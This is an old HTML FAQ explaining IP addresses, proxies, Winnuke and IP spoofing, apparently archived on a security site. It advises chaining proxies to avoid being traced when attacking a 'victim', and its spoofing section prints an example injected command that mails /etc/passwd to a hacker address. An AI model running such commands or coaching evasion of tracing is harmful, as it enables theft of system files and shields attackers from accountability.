An IP address FAQ. Explains what an IP address is. Warning: This file is a false positive for virus scanners because it contains a reference to /etc/passwd.
fc2730f6745c5c09842e488d7e9b071f2e85e6127f66f431c01d91512c9808a6<HTML>
<HEAD>
<TITLE>IP Addresses – An FYI</TITLE>
</HEAD>
<BODY BGCOLOR="FFFFFF" LINK="#0000ff" VLINK="#800080">
<B><FONT SIZE=4><P ALIGN="CENTER">IP Addresses – An FYI</P><hr>
<P ALIGN="CENTER"> </P>
</B></FONT><P> </P>
<B><A HREF="#0">Introduction</a><p>
<A HREF="#1">What is an IP address?</a><p>
<A HREF="#2"><P>How do I find out what my IP address is?</P></a>
<A HREF="#3"><P>How do I find out someone else’s IP address?</p></a>
<A HREF="#4"><P>How can I hide my IP address?</P></a>
<A HREF="#5"><P> Proxy Servers</P></a>
<A HREF="#6"><P> IRC and Winnuke</P></a>
<A HREF="#7"><P>What is this IP Spoofing lark all about?</P></a>
</B><P> </P>
<a name="0"></a><B><P>Introduction</P>
</B><P>I often see messages posted in News Groups asking, "How do I hide my IP address?" so here it is: A For Your Information on IP addresses.</P>
<P> </P>
<a name="1"></a><B><P>What is an IP address?</P>
</B><P>Before I can answer that question first you must understand how computers communicate across the Internet. They do this using something called the TCP/IP protocol suite. A protocol is a defined set of rules that computers must adhere to if communic
ation is to take place. It’s like a spoken language. Two people speaking English can communicate with no problems. If someone else comes and joins the conversation and starts speaking in Swahili or Spanish they won’t be understood and more than likely ign
ored.</P>
<P> </P>
<P>Communications over a computer network use protocols and the TCP/IP protocol suite describes a large number of these protocols and how they interoperate. Another thing that can be said about communications over a network and that is they are modular. W
hoa!</P>
<P> So what does modular mean? When something is done in a modular fashion it means there are a number of different layers to the whole process; that is, it is made up of modules. As an example to describe this concept imagine three people cooking a
meal.</P>
<P>John has the job of peeling the potatoes. Once he has done this he passes the potatoes to Sue. This is his job done. Sue puts the potatoes in boiling water and boils them for 15 minutes. Once they are cooked she passes them to Dave. Sue’s job is now do
ne. Dave then mashes the potatoes and then serves them up. Each of these three people has their own specific task and each of them rely on the other one to do their job properly. Otherwise everyone goes hungry. </P>
<P> So it is with network communications. At the bottom end you have the Network Access layer (John’s job.) This is where your hardware comes into play. In other words your modem and serial port (or Network Interface Card) and cables. Their job is to
send the electrical impulses down the line and to receive them. They also do a couple of other things like basic error checking but don’t work about that for now. When this layer receives some information from another computer it does it error checking a
nd stuff then passes the information onto the next layer. This ‘next’ layer is called the Internet layer. This is the layer that we are interested in. The IP part of TCP/IP stands for Internet Protocol and it operates at this layer. (Sue’s job.) Every com
puter attached to the Net has an IP address that uniquely identifies that machine meaning that no two machines on the Net have the same IP address.(!) If there were two machines that had the same address communications would get scrambled.</P>
<P> An IP address is 32 bits in length. These 32 bits are split up into 4 8-bit sections and so an IP address will look like this: 145.63.69.129</P>
<P> </P>
<P>(I’m not going to go into different classes of address and subnets here; I’ll maybe write something about them later, in a different FYI)</P>
<P> </P>
<P>When you want to ‘talk’ to another computer across the Internet you send all communication packages to that computer’s IP address. When it replies to you it sends its reply to your IP address. It’s like you ringing up your friend ( their phone number r
epresenting an IP address) asking him a question and then hanging up. He then phones you back and gives you the reply then hangs up. This kind of communication is called connectionless.</P>
<P> </P>
<P>So an IP address is a string of four numbers that uniquely identifies your computer on the Internet. Your IP address is assigned to you by your Internet Service Provider. You may have what is known as a static IP address. This is one where it never cha
nges. Your machine will always have that IP address. More often than not though, you’ll be assigned a dynamic one. This means that every time you connect to the Internet your ISP temporarily leases you an IP address. For the duration of that session your
computer will use that IP address. It will change every time you connect to your ISP.</P>
<P> </P>
<a name="2"></a><B><P>How do I find out what my IP address is?</P>
</B><P> </P>
<P>This depends on what operating system you use :</P>
<P> </P>
<P>Windows 95 – Run winipcfg.exe whilst you are connected to the Internet.</P>
<P>Windows NT – Run ipconfig /all from a command prompt.</P>
<P>Unixes - Run netstat with no options.</P>
<P> </P>
<a name="#3"></a><B><P>How do I find out someone else’s IP address?</P>
<P> </P>
</B><P>There are a number of ways of doing this depending on ‘whose’ address your trying to find. When using the Transmission Control Protocol another machine, when it is communicating with yours, makes a virtual connection (remember TCP is connection ori
entated). </P>
<P>If you run <B>netstat –n</B> from a DOS or Command prompt it will give a listing of all the IP addresses of the machines currently connected to yours. </P>
<P> </P>
<P>If a machine has a domain name, that is a name like <A HREF="http://www.microsoft.com/">www.microsoft.com</A> or bloodstone.globalnet.co.uk, you can <B>ping</B> it. From a DOS or Command Prompt type </P>
<P> </P>
<P> <B>Ping domain.name</P>
</B><P> </P>
<P>This will get a response like :</P>
<P> </P>
<B><P>C:\>ping server.company.com</P>
<P> </P>
<P>Pinging server.company.com [123.123.123.123] with 32 bytes of data:</P>
<P> </P>
<P>Reply from 123.123.123.123: bytes=32 time=10ms TTL=128</P>
<P>Reply from 123.123.123.123: bytes=32 time<10ms TTL=128</P>
<P>Reply from 123.123.123.123: bytes=32 time<10ms TTL=128</P>
<P>Reply from 123.123.123.123: bytes=32 time<10ms TTL=128</P>
</B><P> </P>
<P>You can also use the <B>nslookup</B> utility in NT or Unix.</P>
<P> </P>
<P>Another way of finding out someone’s IP address is looking at the headers on e-mails.</P>
<P>This will provide the source IP address, that is the IP address of the machine that the e-mail originated from. It is better if the e-mail is a recent one though because some people’s addresses are assigned dynamically and change from session to sessio
n.</P>
<P> There are other ways, such as checking server log files, but most of you will not be able to do this unless you have access to those files.</P>
<P> </P>
<a name="4"></a><B><P>How can I hide my IP address?</P>
<P> </P>
</B><P>The only way to hide your IP address from your target machine is with the use of a Proxy Server.</P>
<a name="5"></a><P> <B>Proxy Servers</P><DIR>
<DIR>
</B><P>A Proxy server is a server that carries out a request for you and gives you the results back. It sort of acts as a middle man. This will hide your IP address from the destination machine, but note, it won’t hide your address from the proxy server.
The IP address of the proxy server will be logged on the target machine instead of yours. If you are doing something illegal remember your victim will find out that the IP address that was used to attack came from a proxy server and he will get the admin
of the proxy server to look through the log files. This is where chaining comes in handy. You can string a number of proxies together so it makes the task more difficult of tracking you down. This leads to the question, "How do I string several proxies to
gether?". Lets look at a web browser as an example. In the address field you enter the following.</P>
<P> </P>
<P><A HREF="http://proxy1:port/http://proxy2:port/http://www.victim.com/">http://proxy1:port/http://proxy2:port/http://www.victim.com/</A></P>
<P> </P>
<P>for example :</P>
<P> </P></DIR>
</DIR>
<P> <A HREF="http://192.31.174.2:80/http://proxy.magusnet.com/-_-http://www.microsoft.com">http://192.31.174.2:80/http://proxy.magusnet.com/-_-http://www.microsoft.com</A></P>
<P> </P>
<P> </P><DIR>
<DIR>
<P>Note – after the magusnet proxy you have to put /-_-http://</P>
<P> </P>
<P>Some proxies won’t allow you to put them in the address field like this so configure your browser to use this kind of proxy and then you’ll be going through three. proxy1.emirates.net.ae is one such publicly accessible proxy that does this…configure yo
ur browser to use it on TCP port 8080.</P>
<P> </P>
<P>You can also link to an FTP site via HTTP proxies like this :</P>
<P> </P>
<P><A HREF="http://proxy1:port/http://proxy2:port/ftp://victim.com">http://proxy1:port/http://proxy2:port/ftp://victim.com</A></P>
<P> </P>
<P>but for a more interactive ftp session from a command line ftp utility (like the one that comes with Windows 95 or NT) ftp to <A HREF="http://www.knih-st.cz/">www.knih-st.cz</A> .</P>
<P> </P>
<a name="6"></a><B><P>IRC and Winnuke</P>
</B><P>Most people that post messages asking, "How do I hide my IP address" have been the victims of being ‘nuked’ whilst using IRC. Winnuke is one such program that is used by lamers to crash others’ computers. What actually happens here is three</P>
<P>Out-of-band messages are sent to the victim’s TCP port 139. This then causes the PC to blue-screen. A patch for this bug is available from Microsoft :</P>
<P> This affects Windows 95 and NT computers. (Please don’t ask me where to get Winnuke from coz I won’t tell you. It’s not too difficult to get a hold of anyway.)</P>
<P> Many people ask me about, "IP spoofing and can I use it to hide my IP address?" The answer is no. Read on.</P>
<P> </P></DIR>
</DIR>
<a name="7"></a><B><P>What is this IP Spoofing lark all about?</P>
<P> </P>
</B><P>IP spoofing is where an attacker can predict the TCP sequence number of a trusted TCP session between two other machines and hijacks the session by modifying his IP address and injecting a single arbitary command. Eg "cat /etc/passwd | mail <A HREF
="mailto:hacker@here.org"><FONT SIZE=2>hacker@here.org"</FONT></A>. Now this is extremely advanced stuff and if you are reading this FYI, you probably won’t know what I am talking about. I only include this here to let you know you can’t use IP spoofing t
o hide your IP address the way you want to.</P>
<P> </P>
<P> Well that's it. I hope you have found this useful and informative. If you have any queries, or would like to correct me, or add to this FYI please mail me at <A HREF="mailto:mnemonix@globalnet.co.uk">mnemonix@globalnet.co.uk</A></P>
<P> </P><HR>
</HTML>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed